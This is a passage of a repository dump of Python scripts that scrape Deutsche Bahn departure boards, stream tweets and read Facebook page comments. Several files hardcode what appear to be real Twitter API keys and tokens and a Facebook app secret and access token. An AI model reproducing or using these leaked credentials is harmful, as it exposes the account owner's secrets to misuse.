FLAT_SOURCE, FLAT_PARAMETERS )\n" }, { "alpha_fraction": 0.6741767525672913, "alphanum_fraction": 0.7001733183860779, "avg_line_length": 21.19230842590332, "blob_id": "e7b8ef7f464cdd7298c5a44ee755b5866e2f2947", "content_id": "3395d164eb9bbe42012a4a0d11dc967e8914221c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 577, "license_type": "no_license", "max_line_length": 49, "num_lines": 26, "path": "/services/service_03_tw/connect.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "import os\n\nconsumer_key = \"tY7nmNZhISu53O3RH2l6X7s7K\"\nconsumer_secret = \"OXnP62fToZtI8TV1Fy0RuGGsnSnTS3NrsXgsSZcLusCxQb1uLk\"\naccess_token = \"1263232524-VvLr5aIZ359Y5VEd3Aq30jjBsxLC3BTfgkhz665\"\naccess_token_secret = \"RPR2ZZ6P4nuBh4je3bldOeVsKDXd31kGRqUv57J2yvI7N\"\n'''\n\n\nconsumer_key = \"8WingBbgWQntrSJMzFpCz9ipX\"\nconsumer_secret = \"j3wU17vRo2XGXlTPVdeSbtrHf5JdeGPa1SkBUPAD0xOW8DVZs7\"\naccess_token = \"1263232524-QI8JWIgVp5BH3eN3xXZ5gv6PMWghgFTfPIALNb8\"\naccess_token_secret = \"AmV9SunoeSO8kQaiKYsOZzeimaWEWpEEuHZR1rgY5tkCh\"\n'''\n\n'''\nconsumer_key = \"VhYTd8fk7Xu1lmbUcaOq2VlM0\"\nconsumer_secret = \"M0ONCDjmnkNBvZJRll2MdChYHSz7HNKfxbrDvbSDHgIUplJPbq\"\naccess_token = \"1263232524-PGo4pdfsRzwIcBqzPq7e9rPO5QzQy0Szp3hOnBR\"\naccess_token_secret = \"fuMvtSgHQlNXhdNmdISevKpVAHnnvGl99eZKsgAXZwAer\"\n'''\n\nos.environ['CONSUMER_KEY'] = consumer_key\nos.environ['CONSUMER_SECRET'] = consumer_secret\nos.environ['ACCESS_KEY'] = access_token\nos.environ['ACCESS_SECRET'] = access_token_secret\n" }, { "alpha_fraction": 0.6248294711112976, "alphanum_fraction": 0.6534788608551025, "avg_line_length": 18.83783721923828, "blob_id": "383a496e9eafe07ec736be8e41c83feb0c0bfae2", "content_id": "8854324f6e03736b76c3c91b6734d299d6035d7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 733, "license_type": "no_license", "max_line_length": 52, "num_lines": 37, "path": "/services/service_03_fb/test_fb - Kopie.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "import urllib2\nimport json\nimport datetime\nimport csv\nimport time\n\naccess_token = \"112505369358324|qaiAMvhrIUiwJZHFC9VQ0ghc8Po\"\n\nword = 'dbahn'\npage_id = 'dbahn'\n\napp_id = \"112505369358324\"\napp_secret = \"44750932ef845661d7c2506b8fa54348\" # DO NOT SHARE WITH ANYONE!\n\naccess_token = app_id + \"|\" + app_secret\n\n\n\n\n\ndef testFacebookPageData(page_id, access_token):\n \n # construct the URL string\n base = \"https://graph.facebook.com/v2.4\"\n node = \"/\" + page_id\n parameters = \"/?access_token=%s\" % access_token\n url = base + node + parameters\n \n # retrieve data\n req = urllib2.Request(url)\n response = urllib2.urlopen(req)\n data = json.loads(response.read())\n \n print json.dumps(data, indent=4, sort_keys=True)\n \n\ntestFacebookPageData(page_id, access_token)" }, { "alpha_fraction": 0.6322034001350403, "alphanum_fraction": 0.6406779885292053, "avg_line_length": 17.46875, "blob_id": "64939f44482473096b582d05c9c72a27f1829271", "content_id": "550189c27f57becb7acd7c6257cd0fc6fa393b56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 590, "license_type": "no_license", "max_line_length": 64, "num_lines": 32, "path": "/services/service_03_fb/test_fb.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "import facebook #sudo pip install facebook-sdk\nimport itertools\nimport json\nimport re\nimport requests\n\naccess_token = \"112505369358324|qaiAMvhrIUiwJZHFC9VQ0ghc8Po\"\nuser = 'dbahn'\n\ngraph = facebook.GraphAPI(access_token)\nprofile = graph.get_object(user)\nposts = graph.get_connections(profile['id'], 'posts', limit=100)\n\nJstr = json.dumps(posts)\nJDict = json.loads(Jstr)\n\ncount = 0\nfor i in JDict['data']:\n allID = i['id']\n try:\n allComments = i['comments']\n\n for a in allComments['data']: \n count += 1\n print a['message']\n\n\n except (UnicodeEncodeError):\n pass\n\n\nprint count" }, { "alpha_fraction": 0.6542491316795349, "alphanum_fraction": 0.6589056849479675, "avg_line_length": 22.216217041015625, "blob_id": "a9dbe6ad6cbaff28d62756ee5c5e7654ab5c580c", "content_id": "0a153cbf754b10c735d7ba739a46604cc5ee1b90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 859, "license_type": "no_license", "max_line_length": 76, "num_lines": 37, "path": "/services/service_03_tw/01.0-tweet_capture.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "import sys\nimport json\n\nimport datetime as dt\n\nfrom tweepy.streaming import StreamListener\nfrom tweepy import OAuthHandler\nfrom tweepy import Stream\nfrom connect import *\n\n#http://docs.tweepy.org/en/v3.4.0/streaming_how_to.html\n\ntoday = dt.datetime.today()\ntoday = dt.datetime.strftime(today, '%Y.%b.%d')\n\nclass StdOutListener(StreamListener):\n\n\n def on_data(self, data):\n\n with open(\"./_output/out_1_data_\" + today + \".txt\", \"a\") as myfile:\n myfile.write(data)\n #print data\n return True\n\n def on_error(self, status):\n print status\n\n\nif __name__ == '__main__':\n\n auth = OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n\n stream = Stream( auth, listener = StdOutListener() )\n\n stream.filter( track=['lunes','martes','viernes', 'domingo' ] )\n" }, { "alpha_fraction": 0.49360907077789307, "alphanum_fraction": 0.5141462087631226, "avg_line_length": 36.435482025146484, "blob_id": "8305da2b074cc84ce8bbff400095fe577f2657b4", "content_id": "8cf0b8d5011e2f400adfdff06257d3e484ab2f73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6963, "license_type": "no_license", "max_line_length": 241, "num_lines": 186, "path": "/services/step_03_network/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nreload(sys)\nsys.setdefaultencoding('utf-8')\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\n\n\n\n#COM:\n# https://reiseauskunft.bahn.de/bin/bhftafel.exe/dn?ld=15082&country=DE&protocol=https:&seqnr=4&ident=fi.0865482.1497188234&rt=1&input=8000001&time=08:00&date=14.06.17&ld=15082&productsFilter=1111100000&start=1&boardType=dep&rtMode=DB-HYBRID\n\ndef getTravels( station_code , station_id_str , l_time , l_day , direction ):\n global log\n #COM:\n filtro = '1111100000'\n url = {\n \"a\": \"https://reiseauskunft.bahn.de/bin/bhftafel.exe/dn?\",\n \"b\": \"ld=15082\",\n \"c\": \"&country=DE\",\n \"d\": \"&protocol=https:\",\n \"e\": \"&seqnr=4\",\n \"f\": \"&ident=fi.0865482.1497188234&rt=1\",\n \"g\": \"&input=\" + station_code,\n \"h\": \"&time=\" + l_time + \"&date=\" + l_day + \"&ld=15082\",\n \"i\": \"&productsFilter=\" + filtro,\n \"j\": \"&start=1&boardType=\"+ direction + \"&rtMode=DB-HYBRID\"\n }\n\n #COM:\n compossed_url = \"\".join(url.values())\n log.debug( '>> ' + compossed_url )\n #COM:\n rsp = requests.get( compossed_url)\n #LOG:\n log.debug( 'START_PARSE_URL ' + station_id_str )\n #COM:\n html = rsp.text.encode(\"utf8\")\n #COM:\n soup = BeautifulSoup(html, \"html.parser\")\n travelRows = soup.findAll('tr', id=re.compile('^journeyRow_'))\n print len(travelRows)\n #COM:\n if len(travelRows) > 0 :\n #COM:\n for row in travelRows:\n #COM:\n if len(row.find_all(\"td\", class_=\"platform\")) > 0 :\n platform_int = row.find_all(\"td\", class_=\"platform\")[0].text.replace('\\n', '')\n else:\n platform_int = '-'\n #COM:\n if len( row.find_all(\"td\", class_=\"ris\") ) > 0 :\n statusActual = row.find_all(\"td\", class_=\"ris\")[0].text.replace('\\n', '')\n else:\n statusActual = ''\n\n route = row.find_all(\"td\", class_=\"route\")[0]\n rem_route = route.find(class_=\"bold\")\n #COM:\n trainInfo = {\n \"trainDate\" : 'TID-'+ str( l_day ),\n \"trainTime\" : 'TIT-'+ row.find_all(\"td\", class_=\"time\")[0].contents[0],\n \"trainName\" : 'TIN-'+row.find_all(\"td\", class_=\"train\")[-1].a.contents[0].replace('\\n', ''),\n \"trainLink\" : 'TIL-'+ row.find_all(\"td\", class_=\"train\")[-1].a.get('href'),\n \"trainPlatform\" : 'TIP-'+str(platform_int),\n \"trainEnd\" : 'TIRE-' + rem_route.extract().text.replace('\\n', ''),\n \"trainRoute\" : 'TIR-'+ route.text.replace('\\n', ''),\n \"trainActual\" : 'TA-'+statusActual,\n \"trainDirection\" : 'TIM-'+direction,\n \"stationCode\" : 'TSC-'+station_code,\n \"stationId\" : 'TSI-'+station_id_str\n }\n log.debug( 'RESULT_ROW_' + station_id_str + ' ~' + '|'.join( trainInfo.values() ) )\n log.debug( 'RESULT_ROWS_OK-' + station_id_str )\n log.debug( 'END_PARSE_URL' )\n return 1\n\n else:\n log.debug( 'RESULT_ROWS_NULL-' + station_id_str )\n log.debug( '# ' + compossed_url )\n log.debug( 'END_PARSE_URL' )\n\n #COM:\n return 0\n\n############################################################################################################################\n\ndef customRoutine( FLAT_SOURCE, items ):\n global log\n\n DIRECTIONS = [\"arr\" , \"dep\"]\n\n today = dt.datetime.today()\n TODAY = today.strftime('%d.%m.%y')\n TODAY_NAME = today.strftime('%y.%m.%d')\n\n log = logging.getLogger()\n log.setLevel(logging.DEBUG)\n\n outputFile = FLAT_SOURCE[\"outputDirData\"] + FLAT_SOURCE[\"outputFilePrefix\"] + TODAY_NAME + FLAT_SOURCE[\"outputFileExtension\"]\n fh = logging.FileHandler( filename= outputFile )\n fh.setLevel(logging.DEBUG)\n formatter = logging.Formatter(\n fmt='%(asctime)s %(levelname)s: %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S'\n )\n fh.setFormatter(formatter)\n log.addHandler(fh)\n\n listKeys = items.keys()\n\n log.info('ROUTINE_STARTS')\n log.info('Process capture ' + str( len(listKeys)) + ' cities, each 20 min.')\n\n RUN = True\n while RUN :\n\n now = dt.datetime.now()\n h = now.strftime('%H')\n m = now.strftime('%M')\n i_m = now.minute\n time_str_full = h + \":00\"\n log.warning('CAPTURE-' + time_str_full + ' NOW-' + h+':'+m )\n for lk in listKeys:\n station_number_str = lk\n station_name = items[lk][\"name\"]\n station_url_code = quote( station_name + \"#\" + station_number_str , safe='')\n rr = getTravels( station_url_code , station_number_str , time_str_full , TODAY , DIRECTIONS[0] )\n if rr == 0:\n rr = getTravels( station_url_code , station_number_str , time_str_full , TODAY , DIRECTIONS[0] )\n rr = getTravels( station_url_code , station_number_str , time_str_full , TODAY , DIRECTIONS[1] )\n if rr == 0:\n rr = getTravels( station_url_code , station_number_str , time_str_full , TODAY , DIRECTIONS[1] )\n\n now = dt.datetime.now()\n i_new_m = now.minute\n\n if i_new_m < 20:\n dif_m = 22 - i_new_m\n elif i_new_m >= 20 and i_new_m < 40:\n dif_m = 42 - i_new_m\n elif i_new_m >= 40:\n dif_m = 62 - i_new_m\n\n wait_time = 60* dif_m\n log.warning('SLEEP DIFERENCE-' + str(dif_m) + ' START_MIN-' + str(i_m) + ' ENDS_MIN-' + str(i_new_m) )\n time.sleep( wait_time )\n\n if h == '00':\n log.info('ROUTINE_ENDS')\n RUN = False\n\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\n\n\n\nif __name__ == '__main__':\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n loader.createOutputDir( FLAT_SOURCE )\n PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n items = loader.loadJsonInputToItem( FLAT_SOURCE )\n customRoutine( FLAT_SOURCE , items )\n" }, { "alpha_fraction": 0.5961487889289856, "alphanum_fraction": 0.5981137156486511, "avg_line_length": 31.485105514526367, "blob_id": "1d87e3d823ea4e8ee4c86e28708fbf0399b7aa37", "content_id": "f837a163973464136d4c32c362f84a500dbbe8ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7634, "license_type": "no_license", "max_line_length": 165, "num_lines": 235, "path": "/services/modules/simpleLoader.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nimport json\nimport datetime as dtm\nimport pandas as pd\nfrom pandas.compat import StringIO\nfrom os import listdir\nfrom os.path import isfile, join\n\n'''\nGenerated Model:\n\nFLAT_PARAMETERS[\"useIndex\"] = True / False\nFLAT_PARAMETERS[\"singularOutput\"] = True / False\nFLAT_PARAMETERS['inputIsDir'] = True / False\n\nFLAT_SOURCE[\"routineName\"]\nFLAT_SOURCE[\"version\"]\nFLAT_SOURCE[\"description\"]\nFLAT_SOURCE[\"dateCreation\"]\n\nFLAT_SOURCE['inputPath'] -> root.dir + input.path (sin root al salvar model)\nFLAT_SOURCE['inputFile'] -> value or empty\n\nFLAT_BUFFER['dateRun']\n\nFLAT_SOURCE[\"rootDir\"]\nFLAT_SOURCE[\"outputDir\"] -> with root path\nFLAT_SOURCE[\"outputDirData\"] -> with root path + \"data/\"\nFLAT_SOURCE[\"outputFilePrefix\"] -> prefix_\nFLAT_SOURCE[\"outputFileExtension\"]\n\n'''\n\nclass Loader(object):\n\n def __init__(self):\n #init\n self.dir_path = os.path.dirname(os.path.realpath(__file__))\n #print 'walk, don`t run'\n\n\n def today(self, str_format = '%Y.%b.%d' , dif=0):\n #http://strftime.org/\n today = dtm.datetime.today() - dtm.timedelta( ( int(dif)*-1) )\n DATE_TODAY = dtm.datetime.strftime(today, str_format)\n return DATE_TODAY\n\n\n def say(self,x):\n pd.set_option('display.max_rows', len(x))\n print(x)\n pd.reset_option('display.max_rows')\n\n def ray(self,x):\n pd.set_option('display.max_rows', len(x))\n print(x.values)\n pd.reset_option('display.max_rows')\n\n '''\n #DEF\n Parse model.json infos to flat object\n '''\n def loadJsonModelToFlag(self, ROOT_DIR , CURRENT_DIR):\n\n FLAT_BUFFER = {}\n FLAT_PARAMETERS = {}\n\n #TODO: check if json structure is ok\n subDir= CURRENT_DIR\n modelFileReference= 'model.json'\n rawJsonModel = open(os.path.join(subDir, modelFileReference ), 'r') #.read()\n model = json.load( rawJsonModel )\n\n if \"extraFields\" in model:\n FLAT_BUFFER[\"extraFields\"] = model[\"extraFields\"]\n\n\n if model[\"meta\"][\"blocked\"] == 1:\n sys.exit(\"Este programa esta bloqueado\")\n\n #COM: DEFINE parameters and defaults\n if not model[\"parameters\"][\"useIndex\"] or model[\"parameters\"][\"useIndex\"] == \"\" or model[\"parameters\"][\"useIndex\"] == \"False\":\n FLAT_PARAMETERS[\"useIndex\"] = False\n else:\n FLAT_PARAMETERS[\"useIndex\"] = True\n\n if not model[\"parameters\"][\"numberOutputFiles\"] or model[\"parameters\"][\"numberOutputFiles\"] == \"\" or model[\"parameters\"][\"numberOutputFiles\"] == \"singular\":\n FLAT_PARAMETERS[\"singularOutput\"] = True\n else:\n FLAT_PARAMETERS[\"singularOutput\"] = False\n\n FLAT_BUFFER[\"routineName\"] = model[\"meta\"][\"routineName\"]\n FLAT_BUFFER[\"version\"] = model[\"meta\"][\"version\"]\n FLAT_BUFFER[\"description\"] = model[\"meta\"][\"description\"]\n FLAT_BUFFER[\"dateCreation\"] = model[\"meta\"][\"dateCreation\"]\n\n #file or files ?\n if model[\"input\"][\"file\"] == \"\":\n FLAT_PARAMETERS['inputIsDir'] = True\n else:\n FLAT_PARAMETERS['inputIsDir'] = False\n FLAT_BUFFER['inputFile'] = model[\"input\"][\"file\"]\n\n #COM: DEFINE ...\n modelInputPath = model[\"input\"][\"path\"]\n\n\n FLAT_BUFFER['inputPath'] = ROOT_DIR + modelInputPath\n #FLAT_BUFFER['inputPath'] = modelInputPath\n FLAT_BUFFER['dateRun'] = self.today()\n\n FLAT_BUFFER[\"rootDir\"] = ROOT_DIR\n FLAT_BUFFER[\"outputDir\"] = ROOT_DIR + model[\"output\"][\"path\"]\n FLAT_BUFFER[\"outputDirData\"] = ROOT_DIR + model[\"output\"][\"path\"] + \"data/\"\n FLAT_BUFFER[\"outputFilePrefix\"] = model[\"output\"][\"prefix\"] + \"_\" #+ self.TODAY + \"-\"\n FLAT_BUFFER[\"outputFileExtension\"] = model[\"output\"][\"extension\"]\n FLAT_BUFFER[\"comment\"] = model[\"comment\"]\n\n return FLAT_BUFFER, FLAT_PARAMETERS\n\n\n '''\n #DEF:\n '''\n def addComment(self, FLAT_SOURCE , comment ):\n FLAT_SOURCE[\"comment\"] += \" | \" + comment\n\n\n\n\n '''\n #DEF:\n '''\n def getInputFilesList( self ,FLAT_SOURCE , FLAT_PARAMETERS ):\n #COM: 1 file output or more\n singularOutput = FLAT_PARAMETERS['singularOutput']\n #COM: check if inputSource is 1 file or more\n inputIsDir = FLAT_PARAMETERS['inputIsDir']\n\n #COM inputSorce: a path (for files) or just a file\n inputFilesList = []\n inputSourceDir = FLAT_SOURCE['inputPath']\n if inputIsDir == False:\n inputFilesList.append( FLAT_SOURCE['inputFile'] )\n else:\n inputFilesList = [ f for f in listdir( inputSourceDir ) if isfile( join( inputSourceDir, f ) ) ]\n\n return inputSourceDir,inputFilesList\n\n\n '''\n #DEF:\n '''\n def saveReport_DataFrameList(self, FLAT_SOURCE , LIST_DATAFRAMES, FLAT_PARAMETERS, unique = '' ):\n #REM: DATA is a data frame , a lis of dta frames\n #print LIST_DATAFRAMES\n singularOutput = FLAT_PARAMETERS[\"singularOutput\"]\n\n self.createOutputDir(FLAT_SOURCE )\n #COM: save files\n if FLAT_SOURCE[\"outputFileExtension\"] == \".csv\":\n #COM:\n if singularOutput:\n fullOutputName = FLAT_SOURCE[\"outputDirData\"] + FLAT_SOURCE[\"outputFilePrefix\"] + unique + FLAT_SOURCE[\"outputFileExtension\"]\n dataFrame = pd.concat( LIST_DATAFRAMES )\n dataFrame.to_csv(fullOutputName , sep=\" \", encoding=\"UTF-8\", index= FLAT_PARAMETERS[\"useIndex\"])\n else:\n counter = 1\n for dataFrame in LIST_DATAFRAMES:\n fullOutputName = FLAT_SOURCE[\"outputDirData\"] + FLAT_SOURCE[\"outputFilePrefix\"] + unique + str(counter) + FLAT_SOURCE[\"outputFileExtension\"]\n dataFrame.to_csv(fullOutputName , sep=\" \", encoding=\"UTF-8\", index= FLAT_PARAMETERS[\"useIndex\"] )\n counter +=1\n\n '''\n #DEF:\n '''\n def loadJsonInputToItem(self, FLAT_SOURCE ):\n\n inputDir = FLAT_SOURCE['inputPath']\n inputFile = FLAT_SOURCE['inputFile']\n\n with open( os.path.join( inputDir , inputFile ) , 'r') as infile:\n return json.load( infile )\n\n\n\n\n\n '''\n #DEF:\n '''\n def saveJsonToFile(self, data_json , FLAT_SOURCE , string_unique ):\n\n outputFile = FLAT_SOURCE[\"outputFilePrefix\"] + string_unique + FLAT_SOURCE[\"outputFileExtension\"]\n outputDirData = FLAT_SOURCE[\"outputDirData\"]\n self.createOutputDir( FLAT_SOURCE )\n\n with open( os.path.join( outputDirData , outputFile) , 'w') as outfile:\n json.dump( data_json , outfile , indent=4)\n #ensure_ascii=True , encoding='utf8'\n\n\n '''\n #DEF:\n '''\n def createOutputDir(self, FLAT_SOURCE ):\n outputDir = FLAT_SOURCE[\"outputDir\"]\n outputDirData = FLAT_SOURCE[\"outputDirData\"]\n if not os.path.exists(outputDir):\n os.makedirs(outputDir)\n os.makedirs( outputDirData )\n\n '''\n #DEF:\n '''\n def saveReportModel(self, FLAT_SOURCE, FLAT_PARAMETERS):\n\n FLAT_BUFFER = dict(FLAT_SOURCE)\n\n #open(os.path.join(subDir, modelFileReference ), 'r')\n rootDir = FLAT_BUFFER[\"rootDir\"]\n FLAT_BUFFER[\"rootDir\"]= rootDir.replace(\"\\\\\", \"/\")\n\n outputDir = FLAT_BUFFER[\"outputDir\"]\n for k, v in FLAT_BUFFER.iteritems():\n #print str(v)\n FLAT_BUFFER[k] = str(v).replace( rootDir , \"\")\n\n with open( outputDir + 'report_model.json', 'w') as outfile:\n json.dump( FLAT_BUFFER , outfile , indent=4, sort_keys=True)\n\n #Response OK for server\n return 100\n" }, { "alpha_fraction": 0.5201958417892456, "alphanum_fraction": 0.5271317958831787, "avg_line_length": 35.582088470458984, "blob_id": "4aeaabc1f41caf5af2f9aa4d22f341579f9712bf", "content_id": "9ad51d47e310e6738f4215375b75403ab594242c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2451, "license_type": "no_license", "max_line_length": 124, "num_lines": 67, "path": "/services/lab_02/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n#custom imports\nimport pandas as pd\nfrom pandas.compat import StringIO\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\n\n############################################################################################################################\n\ndef customRoutine( FLAT_SOURCE ):\n INPUT_SOURCE = FLAT_SOURCE[\"inputPath\"] + FLAT_SOURCE[\"inputFile\"]\n\n\n #print df.loc[:]\n #.apply(lambda x: x.str.strip())\n #.str.contains('....-..-..', regex=True)\n #print df1['a'].str.replace('RESULT_ROW_', '')\n #data['result'] = data['result'].map(lambda x: x.lstrip('+-').rstrip('aAbBcC'))\n\n\n #df1['a'] = df1['a'].str.extract('_([0-9]+ )', expand=True)\n #loader.ray(df1)\n\n #df = pd.read_csv( INPUT_SOURCE, names=['a', 'b'],quoting=3,skip_blank_lines=True, sep=\"~\" )\n #df1 = df[df['a'].str.contains(\"RESULT_ROW_\")]\n #df2 = df1['b'].str.split('|', expand=True)\n #df2.columns = ['TA','TIN','TIR','TSI','TIM','TIL','TIRE','TIP','TIT','TID','TSC']\n #loader.say(df2)\n\n return 1\n\n\n\n\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\nif __name__ == '__main__':\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n print FLAT_SOURCE[\"extraFields\"]\n #loader.createOutputDir( FLAT_SOURCE )\n #LIST_DATAFRAMES = customRoutine( FLAT_SOURCE )\n #loader.saveReport_DataFrameList( FLAT_SOURCE , LIST_DATAFRAMES, FLAT_PARAMETERS )\n #PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n" }, { "alpha_fraction": 0.6887631416320801, "alphanum_fraction": 0.6919967532157898, "avg_line_length": 29.924999237060547, "blob_id": "5bcb4e7f5e2b83d3e568f2f30b285b50fbc5b1be", "content_id": "d7160852d18099822bb0222d04fa0bc5f54074af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1237, "license_type": "no_license", "max_line_length": 93, "num_lines": 40, "path": "/services/step_01/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport json\nimport urllib2, base64\n\n\n\ndef customRoutine(FLAT_SOURCE, FLAT_PARAMETERS):\n\n loadedDataJson = []\n inputSourceDir, inputFilesList = loader.getInputFilesList( FLAT_SOURCE, FLAT_PARAMETERS )\n\n for f in inputFilesList:\n with open( os.path.join( inputSourceDir , f ) , 'r') as outfile:\n listResult = json.load(outfile)\n loadedDataJson.extend( listResult[\"result\"])\n\n loader.saveJsonToFile( loadedDataJson , FLAT_SOURCE , '' )\n\n\n\nif __name__ == '__main__':\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR , CURRENT_DIR )\n\n customRoutine(FLAT_SOURCE, FLAT_PARAMETERS)\n\n PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n" }, { "alpha_fraction": 0.5847292542457581, "alphanum_fraction": 0.5952473878860474, "avg_line_length": 32.33766174316406, "blob_id": "e7e7a82672a594d0a741be2f63b3d395ac222346", "content_id": "3addb358b69442dec868217bc588cd88cd7da0ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2567, "license_type": "no_license", "max_line_length": 152, "num_lines": 77, "path": "/services/step_02/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport json\nfrom unidecode import unidecode\nimport urllib2, base64\n\n\n#http://www.codetable.net/asciikeycodes\ndef change( inText ):\n text = inText.replace(unichr(223), 'ss').replace(unichr(252), 'ue').replace(unichr(246), 'oe').replace(unichr(214), 'Oe').replace(unichr(228), 'ae')\n return text\n\n\ndef customRoutine(FLAT_SOURCE, FLAT_PARAMETERS):\n\n outputDir = FLAT_SOURCE[\"outputDir\"]\n loadedItems = loader.loadJsonInputToItem(FLAT_SOURCE)\n #listItems = []\n listItems = {}\n\n\n #loader.addComment( FLAT_SOURCE, 'Filter to Station: NRW-PLZ = 5**** and just Hbf' )\n\n for idx, item in enumerate( loadedItems ):\n\n PLZ = item[\"mailingAddress\"][\"zipcode\"]\n NAME = change(item[\"name\"])\n #COM: filter PLZ, just NRW !!!!\n #if PLZ.startswith(\"5\") and 'Hbf' in NAME:\n if 'Hauptbahnhof' in NAME or 'Hbf' in NAME:\n #if True:\n buf = {\n \"name\" : NAME,\n \"city\" : change(item[\"mailingAddress\"][\"city\"]),\n \"zipcode\" : item[\"mailingAddress\"][\"zipcode\"],\n \"number\" : item[\"number\"],\n }\n evaNumber = '0'\n if len( item[\"evaNumbers\"]) > 0:\n evaNumber = str(item[\"evaNumbers\"][0][\"number\"])\n if \"geographicCoordinates\" in item[\"evaNumbers\"][-1]:\n coord = item[\"evaNumbers\"][-1][\"geographicCoordinates\"][\"coordinates\"]\n else:\n coor = '0'\n buf[\"evaNumber\"] = evaNumber\n buf[\"coord\"] = coord\n\n\n listItems[ evaNumber ] = buf\n #listItems.append( buf )\n\n comment = 'Added ' + str( len(listItems) ) + ' items.'\n loader.addComment( FLAT_SOURCE, comment )\n loader.saveJsonToFile( listItems , FLAT_SOURCE , '' )\n\n\n\n\n\nif __name__ == '__main__':\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n\n customRoutine(FLAT_SOURCE, FLAT_PARAMETERS)\n\n PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n" }, { "alpha_fraction": 0.505139172077179, "alphanum_fraction": 0.5130621194839478, "avg_line_length": 31.8873233795166, "blob_id": "60d9f64f01828d37ceec0c973feb82dc3c7084bf", "content_id": "41a454ea7255c3d203437ae0725a279ca6dae7d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4670, "license_type": "no_license", "max_line_length": 156, "num_lines": 142, "path": "/services/service_01_googlekm/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( 